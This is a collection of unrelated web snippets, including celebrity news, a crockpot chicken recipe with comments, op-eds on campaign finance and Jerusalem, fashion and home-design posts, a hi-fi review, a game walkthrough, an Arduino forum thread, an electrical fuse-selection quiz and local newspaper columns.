Last year 12,600 people attended the 4th edition of the festival. The UNDP's Award for Best Development Message was given to "Up in Smoke", a documentary that follows three years in the life and work of the British scientist Mike Hands, who dedicated 25 years of his life to create a "perfect" sustainable farming technique to replace slash and burn farming in Equatorial rainforests.


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Paula Deen's no good very bad month continued Friday when her publisher announced it was canceling the publication of her cookbook -- despite it skyrocketing to the top of the best-seller list on Amazon.
Balllantine Books was to release "Paula Deen's NewTestament: 250 Favorite Recipes, All Lightened Up" on October 15, but said Friday it had cancelled the publication.
"Customers will be notified that the publisher has canceled this book," said an Amazon.com rep. "As the case with all Amazon.com pre-orders, customers' credit cards are not charged until the book is shipped/delivered."
The publisher's decision is in response to the fallout after Deen admitted to using the n-word in a May 17 deposition as part of a $1.2 million lawsuit filed against the chef and her brother by a former employee.
Since the story broke two weeks ago, Deen's empire has crumbled around her. The Food Network, which aired the show "Paula's Home Cooking" decided not to renew her contract, which expires this month. She was also dropped from deals with Smithfield Foods, QVC, Walmart, Caesars Entertainment, Target, Novo Nordisk, Home Depot, J.C. Penny, Sears, and KMart.


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- Make 5 or 6 foil balls and place them in the bottom of your crockpot.
- Clean your chicken, pat it dry and rub it with every herb and spice in your cabinet (that's what I do, and I call it my own "spice blend.") Be creative, you can do it!
- Put chicken on top of foil in the crockpot.
- Cover and turn on high for 6 hours.
- Resist the temptation to open the lid.
- If it is a bigger chicken it will take longer than 6 hours. Mine took around 7 hours.
Wednesday, February 3, 2010
What Can I Eat That's Gluten-Free?
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This sounds wonderful. I am going to try it next week. We love rotisserie chicken. My husband is going to flip. Thank you for sharing.
Live Laugh and Enjoy!
- Wednesday, February 03, 2010
- Linda said...
I love that you just use all the spices in your cabinet. I tend to stick to just a few. I like to put onions, carrots, and celery on the bottom of the crock. Then they get cooked in the chicken broth and taste yummy. Thanks for participating in the carnival!
- Wednesday, February 03, 2010
That sounds really good.
Thank-you for sharing.
Have a wonderful New Year.
- Wednesday, February 03, 2010
- Jessie said...
Yum! I never knew you could do that! Thanks for the easy meal idea.
You and I have a lot in common girl! Not the least of which is the fun way of writing recipes "just throw some in, you can do it!"
I'm glad to meet you. I used to do "What's for Dinner" every week but I've slacked off. I'm a terribley inconsistent chef and I'm having fun over at my mom blog.
- Thursday, February 04, 2010
- Brian said...
Sounds easy and tasty.
- Thursday, February 04, 2010
- Wendy said...
I too love the "you can do it" encouragement! More of us need to remember that the spice cabinet isn't something to be afraid of! I rarely really measure anything. Just kinda throw my spices in the palm of my hand in toss them in the pot! : ) I know what spices I like together and use them and still experiment sometimes. Especially when I have fresh spices in the garden, I go by smell, if it smells good together, it'll taste good together!!
My husband loves the taste of lemon with chicken, if you like just the hint of lemon with your chicken, try putting a whole lemon in your chicken cavity while cooking it. It makes a wonderfully juicy chicken, I usually put a couple of sprigs of rosemary in there with it.
Chicken is so versatile isn't it?
Hope I'll get my act together and see you next week!
- Friday, February 05, 2010
Wow, I have never heard of having chicken that way. Sounds good.
Thanks for sharing.
Have a great week.
- Wednesday, February 24, 2010
- Cinde said...
I can't wait to try this recipe... thanks for sharing!
Cinde :)
Gluten Free Taste of Home:
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- Monday, March 08, 2010


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Call us old-fashioned sentimentalists.
We used to think of the United States Senate as a place where sober-minded men and women with a hankering for public service came together to listen to different points of view and forge common solutions to the nation's tough problems.
The fact that each of us represented a different political party did not diminish our mutual respect and readiness to work together. On the campaign trail, we tried to help our parties win, but in the Congress, we and many others sought to reach bipartisan legislative outcomes in the national interest.
But nowadays in Washington, the bridge-builders are heading for the hills.
The recent announcement by Sen. Evan Bayh (D) of Indiana that he would leave the Senate in 2010 was just the latest in a stream of moderate senators who are too fed up to seek another term. His fellow Midwesterner, Sen. George Voinovich (R) of Ohio, paved the way a year ago. Unless the ways of Washington change, we doubt these two senators will be the last to quit.
Big money's corrosive effect
If there's one reason for leaving that both Senators Voinovich and Bayh – and ourselves in our time – share in common, it's money. Congress is stuck in the mud of strident partisanship, excessive ideology, never-ending campaigns, and – at the heart of it all – a corrosive system of private campaign funding and the constant fundraising it demands.
We predict the recent Supreme Court ruling to permit unlimited corporate and union spending on campaign ads will only make matters worse.
For years, big money has quietly undermined the integrity of our representative government.
Members of Congress now report spending a third of their time or more raising money for their next campaign, most of it coming from out-of-state interests instead of their own constituents.
Wealthy contributors, in turn, expect – and too often receive – a return on their investment in the form of earmarks and legislative favors.
And while we do not believe that most members of Congress are corrupt, few can deny that the appearance of corruption has dramatically undermined the public's trust in government.
To help bring statesmanship back to Washington, it's time we put an end to the race for campaign cash and the countless compromises it demands.
The best way to fundamentally change the dysfunctional dynamic in Washington is to restore political purchasing power to the American people by incentivizing broad-based small donations from ordinary constituents through matching federal funds.
By providing qualified candidates a way out of the chase for big special- interest money, such a program would make citizens the true stakeholders in our government.
The Fair Elections Now Act
The good news is that a bipartisan proposal to do just that is gaining momentum in Washington. The "Fair Elections Now Act" has gained the support of at least 170 members of Congress. Under such reform, candidates who reach a reasonable threshold of small constituent donations would qualify for federal matching funds to run competitive campaigns, regardless of wealth and connections.
At less than $6 per citizen per year, this approach could save billions in public funds over the long-term as incumbents no longer feel the pressure to approve wasteful spending programs backed by their contributors.
We need not start from scratch. First proposed by President Theodore Roosevelt over a century ago, "Fair Elections" programs are at work in eight states and more than a dozen cities, from Maine to Los Angeles.
The documented results include a steady rise in voter turnout, small contributions, electoral competition, and candidates from diverse backgrounds seeking office.
Legislators are being elected without compromising ties to wealthy special interests. Arizona, Connecticut, and Maine are the three states that have Fair Elections for all state offices. And about 75 percent of winning candidates there voluntarily chose to take part in the Fair Elections system, replacing special-interest money with small donations and matching public funds.
Partial "fixes" abound in the aftermath of the Supreme Court's decision this year on Citizens United v. FEC, which allows corporations and unions to spend unlimited sums on political ads.
Some of these measures, such as increased disclosure requirements and limits on foreign influence in campaigns recently introduced by Sen. Chuck Schumer (D) of New York and Rep. Chris Van Hollen (D) of Maryland, are deserving of support. But they do not go far enough.
Better financing = better laws
Only Fair Elections reform can get to the root of the problem by changing the source of campaign cash.
Before Congress can truly meet the challenges of energy and climate change, unemployment, and financial regulation, it must address the perverse incentives that mire each and every one of its members in a perpetual race for private campaign funds.
Bayh and Voinovich, we thank you for your service and for drawing attention to a broken pay-to-play system of funding political campaigns.
In the old-fashioned spirit of bipartisanship, we urge our former colleagues in Congress to come together and take up the fight for citizen-funded elections.
• Warren Rudman is a former US senator from New Hampshire and chair of Americans for Campaign Reform. Timothy E. Wirth is a former senator from Colorado and president of the United Nations Foundation. Both men served together in the US Senate before retiring in 1992.


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Look we love: BCBG's embroidered blazer
Dressing for the office in summer is always a challenge, but we're kind of obsessed with this look -- a cool embroidered blazer (by BCBG Max Azria, no less), paired with leather jeans (or shorts, since it's so hot outside!), and a simple striped tee. Pair with metallic heels for a downtown, edgy look.
Do you love it too? Shop the blazer on Amazon.
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Sony TA-P9000ES multichannel analog preamplifier
The P9000 can be operated with its remote, which signals microprocessor-controlled motors used for the volume, input, and output relays. Once the microprocessors have finished the switching, their clock is stopped to render them completely silent to avoid sonic degradation. Further attention to detail can be found in the use of a linear-wrap-core power transformer, said to have very low magnetic distortion and magnetic loss. The volume control features a strong steel housing and a newly improved resistive membrane claimed to have a minimum of "resonance modulation."
Moving from left to right, the front-panel controls include a power switch, a rotary selection switch, and a series of rotary controls to balance the gain of the front-channel speakers, subwoofer, center channel, and each surround. There's also a gain-level switch that increases the gain of the other channels relative to the gain of the front channels. The master volume control sits at the right edge of the front panel and can be controlled by a remote.
Around back are a series of multichannel (six input jacks) subpanels for those inputs (Input 1 and Input 2) whose volume will be controlled by the TA-P2000ES, and subpanels labeled "Bypass 5.1ch" and "Bypass 2ch," which appropriately bypass all front-panel controls. There's also a subpanel for the Control A1 jack used to switch a companion amplifier on and off.
The TA-P9000ES's fit'n'finish are tops—I loved it. These switching and control functions are rarely found on preamplifiers three times the price.—Larry Greenhill


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The final mission we received during our playthrough finally gave us a nice car for once, an SUV that actually has some pick-up and doesn't completely suck like all of the other beaters Little Jacob gave us (your experience may vary, however—this could be a last drug run mission thing, meaning it can happen on any of the ten missions depending on which one is completed last). After picking up this new car, your destination will show up on your HUD.
Your ultimate destination is located in a garage off of the southern end of Saratoga Avenue in Dukes. The drive from your initial location off of the Broker-Dukes Expressway will be a brief one, which is good because you only have about thirty in-game minutes to get to the garage in question. Like all of the other drug running missions, however, you won't be able to drive into the yellow event arrow—you're going to have to bail out of your car and run into it on foot. So hustle!
Naturally, this mission was all about time, so if you arrived at the garage located off of Saratoga Avenue, then you're in the clear, and the mission is over. If not, you'll have to do it over again. For us, this was our final drug running mission, so if it was for you as well, then congratulations! Little Jacob has much respect for you, now.
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To the Gospel writer John, it was "the great" and "holy" city. To the writer of Hebrews, it was "the city of the living God." To the poet Dante, it was "the city where God dwells and reigns."
Of Jerusalem it is safe to say that no city has ever been the object of such heavenly visions – or such earthly discord. At the confluence of the world's three great monotheistic faiths – Judaism, Islam, and Christianity – Jerusalem has long been, in the words of author David Shipler, "an arena for the conflict of certainties." Faith, politics, and the promise of salvation converge in Jerusalem to produce unyielding emotional and spiritual attachments that test the very limits of peacemaking.
At issue is whether Jerusalem is to be the undivided capital of Israel, the home of two capitals in the event of Palestinian statehood, or the object of international jurisdiction.
Deep attachments to sacred space
For a place where God is presumed to be so immanent, religious history has proved more a barrier than a bridge to peace.
It was here that David united the disparate tribes of Judea and Samaria into a united kingdom. It was here that Jeremiah thundered against the backsliding of the Jews and called for a more exalted worship of God. It was here, atop the Temple Mount, that Solomon built the first great Jewish temple, and where, centuries later, Herod built another.
And it is Jerusalem – the city and the ideal – that provided the most durable symbol of unity for the millions of Jews forced into 2,000 years of exile after Herod's temple was destroyed by Roman legions in AD 70. For Israelis, history leads to only one conclusion: Jerusalem belongs to the Jews.
Not so, say Palestinians, who reject Israel's demand for exclusive control of Jerusalem. The ancestral roots of today's Palestinians precede the Jewish presence in Jerusalem, they insist. For 14 centuries, Jerusalem has been one of Islam's holiest sites. Islamic tradition has it that it was from the Dome of the Rock, a shrine erected on the spot where the temples of Solomon and Herod once stood, that the prophet Muhammad ascended to heaven one night to talk with God.
The unique hold Jerusalem has on the religious imagination is reflected in the concept of sacred space. Jews believe that Jerusalem is where divinity comes closest to humanity. Muslims believe that any good deed done in Jerusalem has a thousand times the normal weight, while any sin, a thousand times the gravity.
Such deep attachments have magnified the impact of historical injustices, ancient and modern. Israelis remember with considerable bitterness that between 1948 and 1967, when Jordan controlled the Old City of Jerusalem including the Temple Mount, they were barred from the holy places, some of which were desecrated. For Jews, this is the ultimate argument for maintaining exclusive control of Jerusalem. Just as bitterly, Arabs complain that Israel has seized entire Arab neighborhoods in Jerusalem and replaced them with their own, in violation of international law. For Arabs, this is the ultimate argument for demanding that the city be divided into Arab and Jewish jurisdictions.
The question that hangs over any future negotiations is whether the dead weight of history can be lifted sufficiently to arrive at a compromise and to preclude the often-discussed possibility – still considered remote – that the United Nations or some coalition of powerful nations would define the "final status" of Jerusalem on their own, perhaps by internationalizing the city.
Pessimism and cynicism come easily in the city, whose disposition has posed the biggest stumbling block to peace – meaning that, to succeed, aspiring peacemakers may need to embrace a broader frame of reference.
The city has long been the object of religious nationalism and proscriptive theology. But in a larger sense, it has also been a repository of the highest aspirations and ideals of the generations of Jews, Muslims, and Christians who have lived in or made pilgrimage to this holiest of cities. It is a place where the deeds of prophets, teachers, and disciples have proclaimed history's grandest moral lessons.
'Founded peaceful'
In the end, it may be the very concept of Jerusalem itself that will redeem the city from its long history of strife. It is a concept hinted at in its name, from the ancient Hebrew meaning "founded peaceful." It draws its essence from and bears the mark of the holy men and women who have trod its narrow streets, preaching, teaching, healing, and, in different ways, defining the exalted aspirations that make peace the city's logical final status.
The cycles of violence and recrimination that mark the history of Jerusalem and the wider Arab-Israeli conflict have been abetted by the devotion of both sides to the ethos of "an eye for an eye." Over the years, Christians have urged acceptance of the lessons of forbearance and forgiveness taught by Christ Jesus in the very streets of Jerusalem.
Many Jews and Arabs have been articulate advocates not only of mere peaceful coexistence but of something much more: the empathy that comprehends the circumstances of an adversary. And not among peace groups alone do such views surface. Several years ago, a former head of Israel's internal security service drew a burst of attention by criticizing the government's handling of relations with Palestinians living under Israeli occupation. "If we do not begin to understand the other side," he said, "we will not get anywhere. We must, once and for all, admit that there is another side, that it has feelings, and that it is suffering...."
A central question hovering over on again, off again peace talks is whether this is a voice crying in the wilderness or the voice of the future.
The point, peace advocates argue, is not to sacrifice vital national interests, but to understand that no long-term national interest can be served when relations between Arab and Jew are governed by doctrines that sanctify retaliation. Weighing in the balance are powerful forces of religious extremism: Muslims, especially in Gaza, who continue to call for the elimination of the Jewish state; and Jewish extremists, concentrated in the "settler" movement, who systematically and with government support expropriate Arab land in the West Bank.
Perhaps the underlying fears of both reflect the insecure sense of national identity of Palestinians, who have never had a state, and of Jews, surrounded by often-hostile Arab nations, whose sense of national identity has always been fragile.
Three questions we must answer
The apostle Paul once defined Jerusalem as "the mother of us all." It is unlikely that any peace that fails to accommodate the fact of Jerusalem's unique status in the eyes of the world can survive. History and religion have imposed their heavy, arguably unsustainable burdens on Jerusalem and on the long string of diplomats who have striven to lift it. Nevertheless, three persistent questions posed by the prophet Malachi, inconvenient to extremists on both sides, remain to be answered by all the protagonists in the long contest between Arabs and Jews: "Have we not all one father? Hath not one God created us? Why do we deal treacherously every man against his brother...?" Answered aright, "the joy of Jerusalem" that Nehemiah once proclaimed will once again be heard, "even afar off."
George Moffett is a former Middle East correspondent for the Monitor.
Editor's note: This is the third essay of "Peace within Reach," a three-part commentary series about the Israeli-Palestinian conflict.
No. 1 - For Arab and Jew, a new beginning


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Small Wilson's Snipe
"Gallinago wilsoni. American Snipe. Wilson's Snipe. "English" Snipe. Jack-Snipe. Crown black, with a pale ochrey middle stripe. upper parts brownish-black, varied with bright bay and tawny, the scapular feathers smoothly and evenly edged with tawny or whitish, forming two lengthwise stripes on each side when the wings are folded. Quills and greater coverts blackish-brown, usually with white tips, and outer web of first primary usually white. Lining of wings and axillars white, fully and regularly barred with black. Rump black, the feathers with white tips. Upper tail-coverts tawny with numerous black bars, and tail-feathers black basally, then bright chestnut, with a narrow subterminal black bar, their tips fading to whitish; some of the lateral ones white, with little rufous tinge and several instead of one black nearly white; sides of body shaded with brown, and with numerous regular dusky bars throughout; crissum more or less rufous, with numerous dusky bars." Elliot Coues, 1884
American Snipe, birds, English snipe, Gallinago wilsoni, Jack-Snipe, migratory birds, North American birds, omnivorous birds, ornithology, probing birds, shorebirds, Wilson's Snipe
Elliot Coues Key to North American Birds (Boston, MA: Estes and Lauriat, 1884)


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quote:Originally posted by fofingerI think the world's best soup comes from a company in Canada...that's right it's canned, and has been around forever. Habitant French Canadian Style Pea Soup....this is made with yellow peas, nothing like green pea soup, which I also love. The company has been purchased by Campbells but so far they haven't changed anything with the exception that I can't seem to find the bigger squat cans anymore. Try it.....it's the World's best.
quote:Originally posted by IansMomMy own pumpkin soup..
quote:Originally posted by axvaweThe best soup I have ever tasted, was in a little German place in Sea Side California. It is called Stammtisch, they made a Brussel Sprout soup, I swear it was the very best in taste,texture and appearance. It was seasoned perfectly and you could taste the sprouts but not overwhelmingly.Next best is Duartes in Pescadero Ca. The cream of Artichoke soup is excellent. And while you are there you have to try the Olallie pie which is also worth a trip.
quote:Originally posted by Rick F.My grandmother's potato soup, of course.
quote:Originally posted by RhodesThe French onion soup I made from Julia's Way to Cook was certainly up there.... As is my Tom Ka Gai.
quote:As is my Tom Ka Gai.
quote:Originally posted by lleechefwhy did the color of our stars change from red to purple?????
quote:Originally posted by axvaweBT,Yes it is in Monterey county the address is:1204 Echo Ave. Seaside CA.Every dish I have tried there is outstanding, but that soup...magnificient, if you like brussel sprouts. There are a few of us...there just has to be!


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So - after over a year of not being active on the forums (ok, I popped back a couple of times) am I allowed back into the club?I promise I'll be nice Lots of things have changed in my life (for the better) in the last 18 months but now things are a bit more settled, programming up a few lots of MCUs is on my to-do list.Happy to see my post ranking hasn't dropped off the first page yet while I've been gone - a few names up there I don't recognise now though and many forum addicts who I do!Now to make this thread a bit more interesting - those who remember me - what's changed while I've been gone? What's that cool project you've started/finished? What percentage of your house is now controlled by Arduinos?
Welcome back. Biggest change if you haven't kept up with the arduino product line is that the platform and IDE has become a lot more complex with boards like the Leonardo, 32 bit arm based Due board, brand new Esplora board. So the breath of new users and questions and problems they bring forth seem to have jumped up significantly. IDE has lots of new features but breaks a lot of things from the pre IDE 1.0 version. On the other hand the amount of external shields and modules and devices that can be used with the arduino boards is booming it seems and more affordable then ever.Hell even retail Radio Shack stores are now selling arduino boards and some shields, didn't see that one coming. Anyway glad to have you back and getting it going again.Lefty
Welcome back mowcius. I've put up a couple of different designs,http://www.crossroadsfencing.com/BobuinoRev17/Not using for home automation tho
Wow, do you *use* all of those boards for something?
Oh - wow - there's a name I haven't seen in a while - a BIG WELCOME BACK!
Most of the changes in my life have been non-Arduino related - a couple of new jobs along the way, plus some free online classes in Artificial Intelligence and Machine Learning.
I'm still working on my robot oh-so-ever-slowly. Purchased a couple new Arduino's (one was a Mega) - but haven't done anything with them besides testing. Bunch of other new electronic junk has been bought, too (just yesterday, went to a HAMFest and got a couple of Linksys NSLU2s devices - maybe something fun will come of those!).
Anyhow - enough about me - what about YOU!? What happened - where/why'd you go? Anything you can say openly on the forum? If not, I'm sure we'll all understand...
Again - welcome back - I'm sure that some of the n00bs around here can use your advice and help...
Got the card (2 actually) driving this Nike FuelBand display too.http://www.crossroadsfencing.com/BobuinoRev17/Prototype_in_action.MOV
That looks... large
It is. 5 feet across. Its a display that gets mounted somewhere, maybe at shows or something. I made/programmed cards for 5 of the displays, my wife flew out to Vancouver, WA to teach them how to install the 1st one, they did the next 4 themselves. Apparently the end customer was quite happy with them. The only change was holding each word in place a bit longer, so if you should see one live it will be taking longer to go thru all the words.
QuoteMost of the changes in my life have been non-Arduino related - a couple of new jobs along the way, plus some free online classes in Artificial Intelligence and Machine Learning.Hmm, I fancy some free online classes like that!
Check out the offerings from Udacity and Coursera
The Esplora looks like an interesting step but as usual, it seems they've kept it all secret before release and as such, missed out on a trick or two - where's the on-board wireless? Hell not even a standard wireless footprint is included.


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In last month's article we discussed the importance of selecting the correct fuses for an application; not only when you first specify them, but also when you replace them. To aid in selection, manufacturers divide fuses into classes, specifying them alphabetically.
Classes H, K, and R are "full-size" fuses, often used in motor applications. You'll find all three classes with voltage ratings of 250V or 600V, while amp ratings range from one-eighth of an amp up to 600A. The critical differences lie in their interrupt capacities and current-limiting abilities.
Class H has a small interrupt capacity of 10,000A. Some are current-limiting, but only up to their interrupt capacity. You can't tell if they are current-limiting, because none of them are marked.
Class K fuses come in two interrupt ratings: 50,000A and 100,000A. All of them are current-limiting, usually either K1 or K5 (a K9 classification is now nearly obsolete). Despite their current-limiting abilities, none of them have current-limiting markings. Why? Because they are physically interchangeable with Class H fuses. This makes it possible to downgrade a current-limiting system by installing Class H fuses in place of Class K fuses.
Class R fuses help prevent system downgrading. In fact, this purpose was a main goal in their design. They have a fuse body allowing installation in a fuse clip that will reject both Class H and Class K fuses. Thus, with these fuses you cannot accidentally downgrade an electrical system designed to be current-limiting. Class R fuses, however, can replace either Class H or Class K, so you can easily upgrade installations with either of these fuses. In addition to having a universal interrupt capacity of 200,000A, all Class R fuses are current-limiting, with a rating of either RK-1 or RK-5. Of the two, RK-1 is more current-limiting, typically interrupting a short circuit in less than an eighth of a cycle; about two thousandths of a second.
Now let's see if you've been paying attention. You've just corrected a fault that blew a 250V/65A, Class K fuse in a motor starter. An identical replacement will not be available for 2 hr, but you must return the motor to service immediately. What are you going to do? A. Since you still have protection on the other two phases, you decide to jumper the fuseclips with a piece of wire. That gets the motor running, and you can replace the wire with the right fuse shortly. B. Joe says he's got a 600V/65A RK-1 fuse on the other side of the plant, but you'll have to run over and get it. C. You find a 250V/100A, Class K fuse in a nearby motor starter that's down for repairs.
Circle the answer that makes the most sense, considering production demands. Or if you are up to a little more thinking, rate these in order of best solution to worst.
Of course, these aren't the only kinds of fuses. For example, Classes T, G, and CC are popular. If you're ever in doubt about fuse selection, consult the manufacturer's guide. Many of these are now available online. You can find manufacturer's Web sites on www.ecmweb.com. Just click on the link for "other sites."
Now, let's see how well you did. The best answer is "C." The amp rating is a little big, but it'll get the motor running. It also provides good short-circuit protection for the system. Don't forget to replace this fuse as soon as the right fuse arrives. You should document this fuse as needing replacement.
If you said "A," you need to rethink your philosophy on electrical work. Jumping fuse clips puts you, others, and the electrical system in serious danger. You never know when a short circuit is going to occur. Jumping fuse clips is never an option. Besides the physical danger, there are legal ramifications that could result in tremendous personal liability for you.
"B" looks good, but after you run across the plant, you'll find out Joe's 600V fuse won't fit into a 250V fuse clip. Last month's article on fuse sizes explains why this is so.


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31 May 2013
Lilac and Purple
I´ve got some pastels for you today - a lilac men´s cashmeer sweater and flower shorts together with a clutch and sandals in purple satin, both from Karen Millen.
29 May 2013
Yellow Flowers, White Lace
This clutch has been one of my best fashion purchases what so ever. It´s universal, surprisingly spacious and matches with nearly everything. When I´m hesitating which bag to wear, this golden clutch often wins.
What about you and practical purchases?
27 May 2013
Coral Details
This time I wore these checked 7/8 trousers in a more casual outfit, adding ballerinas with low heels from Salvatore Ferragamo instead of classic Louboutin pumps (that you could have seen here). Plus a coral belt matching with the shoes.
23 May 2013
Sarah Josis & Studio 53
Today I´m going to show you pictures and a video of a project I took part in and couldn´t wait to tell you about... I was a model for a collection and fashion show SS 2013 of a very talented young fashion designer and my friend Sarah Josis.
In a cool Studio 53 in Brussels, with great music and atmosphere, I was really excited to present two beautiful Sarah´s dresses on the catwalk. Bellow you can find a video of the fashion show, enjoy it, I really think it´s really great. Btw, the amazing purple silk dress I´m wearing was named after me... Can I be more flattered? :-)
20 May 2013
Pink and Beige
My yesterday outfit with pink skinny jeans... I think I didn´t wear trousers in this colour since I was twelve... :-)
17 May 2013
Creamy White Skinny Jeans
I have these leopard pumps for almost two years but only recently I have started wearing them quite often... Here I matched them with creamy white skinnies and a black leather jacket...
16 May 2013
Bday Party
14 May 2013
New Dress, New Lipstick
I wore this outfit last weekend for a lovely christening party. I matched my new laced dress from Pinko and classic white-golden pumps with a new red lipstick from M.A.C., and tried to make a romantic hair updo... What do you think?
13 May 2013
Black Ballerina Skirt
Yesterday´s simple combination - a black and white striped T-shirt, ballerina skirt and super cute sandals from See by Chloé...
10 May 2013
Under the Cherry Tree
My boyfriend told me that I look like a tennis-player here... Do I? Well, let´s hope it was a compliment... :-D
9 May 2013
Boyfriend Jeans with Leopard
7 May 2013
Flowers and Black
Loose flower shorts (that seem to be a bit too short for Brussels...) with a sequin top, a classic black blazer and golden accessories...
6 May 2013
White and Beige
3 May 2013
Miu Miu Sunnies
Hello to my new Miu Miu sunnies bought in Rome! :-) It was hard not to fall in love with their retro cat-eye shape, tortoiseshell acetate frame and rose lenses...
I bought these beauties the last day of my stay and although until then the weather in Rome was wonderful, after buying these glasses the sky got cloudy and it started raining so heavily that I couldn´t wear them at all. Well, Murphy's law simply applies anytime and anywhere. :-) Actually, I should be happy that I bought the sunnies only the last day and didn´t bring the rain earlier.
2 May 2013
Roman Holiday Day 5
The last day in Rome was quite rainy, so we made a small walk and then hid in an amazing art gallery - Galleria Doria Pamphilj.
1 May 2013
Roman Holidays Day 4
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Teacher resources and professional development across the curriculum
Teacher professional development and classroom resources across the curriculum
Exploring Reasoning and Proof
|Introduction | Triangular and Square Numbers | Conjecturing with Algebraic Symbols | Proving the Conjecture | Reflection Questions | Summary | Your Journal
Your task is to use the grid space to create triangular and square numbers. Then we will ask you to prove the following conjecture.
"A triangular number plus the next consecutive triangular number is always a square number." For instance, using the figure introduced before, 3 + 6 = 9, a square number. Now use the Interactive Activity below to explore triangular and square numbers.
Now use the grid to construct an informal proof of the conjecture: "A triangular number plus the next consecutive triangular number is always a square number."
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New York based designer Blair Harris designed this fantastic Brooklyn townhouse and I love the rustic meets modern edge it has. Especially this kitchen.
Love the navy millwork in here- my guess would be this is Farrow and Ball's Hague Blue….
There are so many special places to stay in New York, and here's another one. Located in the heart of Soho The Broome has a totally Parisian quality to it. From the open courtyard where you can eat breakfast to the restrained rooms and pretty greenery. And the nice thing is that most rooms are reasonable for New York standards. And while still expensive, the Penthouse, with it's unreal private roof deck appears to be going for under $700 a night in early spring. Most penthouse suites would be triple that in the area.
This is the penthouse deck- just awesome!!! I'd LOVE to wake up and have coffee here!
I LOVED the cover of this month's Conde Nast Traveler, especially the poncho the model was wearing- and I found it at the Soho shop Figue!
I LOVE the boho-chic style clothing and accessories found there and hope to get to visit on my next trip to NYC.


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We should cherish Evergreen's natural beauty
The 17th session of the Colorado General Assembly adjourned last week after a session that was long on partisan wrangling and relatively short on meaningful public policy achievements. As could have been expected in an election-year session when Democrats controlled the House by a 34-31 margin and Republicans had an 18-17 edge in the Senate, most bills that pursued a partisan agenda did not pass.
Make your voice heard in EPRD election
A half century ago in rural Pennsylvania, a woman named Clem spent her mornings immersed in the pungent smell of chlorine and the ornery noise of youngsters wakened too early.
Part drill instructor and part den mother, Clem preached water safety with the fervor of a country minister, and over the years she taught thousands of young charges how to swim. For the older students, the ones earning their lifeguard certification, this also meant a course in cardiopulmonary resuscitation.
In the 1980s, futurist John Naisbitt coined the term "high tech/high touch."
"The more technology we introduce into society," he wrote, "the more people will aggregate, will want to be with other people."
While some predicted technologies such as home entertainment would mark the end of the movie theater, Naisbitt astutely observed that people don't go to theaters to see movies per se; we go there to see movies with other people.
By John Newkirk
As a boy I used to pass time on the school bus by counting street signs bearing names of classmates or family friends: Norman Lane. Willa Way. Lemasters Drive. Julie Lane. Granzella Road. Herzman Drive. What a novelty, I thought, to live in a community where roads are named after residents who are still living.
Shelves seem emptier at Evergreen Library
I just came back from the Evergreen Library, where I picked up two books I had requested. I find that I have to request books more often, as the library shelves are becoming more empty as days go by.
As journalists, the stories we tell are often referred to as the first draft of history. Others have said that we put the headlines on history as it happens.
As an editor over the past 37 years, I have written somewhere around 150,000 headlines — a few clever, others disturbing, some so heartbreaking that they live still in my nightmares.
Library says thanks for additional funds
As property tax notices begin to arrive, we want to say "Thanks!"
Anybody know where a guy can buy some crow meat? And while we're at it, do any of you have a good crow recipe?
I confidently wrote last year that while Donald Trump's and Bernie Sanders' campaigns for president were showing signs of success, they couldn't last. I asserted that Trump's success was nothing more than the result of the outrageousness of his comments, and that Sanders' appeal had more to do with an enthusiasm gap for Hillary Clinton than for any real support for him.
If all politics is local, a phrase coined by former House speaker Tip O'Neill, then Colorado's U.S. Senate race has come home to roost in the coverage areas of our three Jeffco newspapers.
No less than three of the current 12 Republican candidates for the seat held by Democrat Michael Bennet hail from Jefferson County, and that trio's political careers have been covered closely by our papers.
It may well be up to us.
The odd constitutional provisions that will have the state of Colorado issuing refunds to taxpayers at the same time as cuts have to be made to a variety of government programs in 2016 have long been a source of consternation. Over the last year, a variety of things have been discussed.
Given the fact that a major theme of the coordinated campaign of all five members of the newly elected Jefferson County Board of Education was the lack of transparency their predecessors exhibited, it was more than a little disappointing when one of the first announced activities of the new board was to enter a secret session to discuss compliance with open-government requirements.
It's a little known fact that members of Congress don't have to live in the districts from which they are elected. That's not the case for school board members in Colorado.
There was some question about the residency of candidate Regan Benson during the recent school board election in Jefferson County, but as it didn't appear (or occur) that she would be a particularly viable candidate, the issue went away pretty quietly.
By Greg Dobbs
This is about more striped bicycle lanes on our roads, which our Jefferson County commissioners approved late last month, and it isn't only important if you ride a bike. If you drive a car, it's about you, too.
As we enter the holiday season, I'm thinking about a big do and a big don't.
The big do is Colorado Gives Day. In its five-year history, Colorado Gives has become the preferred way of making end-of-year charitable gifts for many people in our state. An initiative of the Community First Foundation and First Bank, Colorado Gives Day is an easy way to make contributions to more than 1,800 of our state's nonprofit organizations.
The results in Tuesday's school board recall were not surprising, but the vote margins were stunning: Ken Witt, John Newkirk and Julie Williams were recalled with about 64 percent of the votes in a county where registrations are evenly split among Democrats, Republicans and independents.
Few things are more important to our four newspapers than coverage of high school sports, and few journalists could have brought that coverage to our readers more completely or competently than Michael Hicks. But after five years, Michael is leaving his post as sports editor at Evergreen Newspapers for his next challenge at the Boulder Daily Camera, and that paper is beyond lucky to have him.
I've been planning for weeks to offer my thoughts on the controversy surrounding the Jeffco school district. And I've also been procrastinating for weeks. Of late, our politically polarized school system has become the third rail of local politics — touch it, and you die.
A phone call last week from a loyal reader stirred me from my inertia (some would say cowardice). The gentleman raised several good questions about our recent coverage and, as a result, helped me organize my own thoughts. He should call daily.
Imagine the impact of a Bernie Sanders-versus-Donald Trump presidential election in 2016. Property values in Canada would likely skyrocket with the biggest exodus of Americans to Canada since the end of the draft.
Fourteen months before the next presidential election, the biggest surprise has been the emergence of Sanders and Trump when conventional wisdom suggests that neither has any chance, or business, of becoming president of the United States. Their seeming viability results from completely different circumstances in our two major political parties.
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House Envy: Endearing Bungalow in CA
HOUSE STYLE: Bungalow
LOCATION: Pasadena, CA
HOUSE STATS: 2,560 sq. ft., 4 bedrooms, 4 baths
Organized Confusion. No two rooms are identical in this postcard Pasadena bungalow where unique painted finishes and surprise architectural details differentiate every space. For a taste of the home's idiosyncratic flavor, take one look at the nursery. The stenciled walls and ceilings suggest a sunburst, or even a carnival tent. It's fun, but it's not too loud. Throughout, beloved hallmarks of the bungalow style, such as built-ins and wood trim, help establish continuity and unify the house as a whole.
The Gourmet Kitchen. What's not to love? The tin ceiling and beadboard cabinets are traditional elements that, in combination with state-of-the-art stainless steel appliances, unexpectedly exude a contemporary feel. The impressive kitchen island—part moveable furniture, part stationary behemoth—provides valuable countertop space while enhancing the room's period allure.
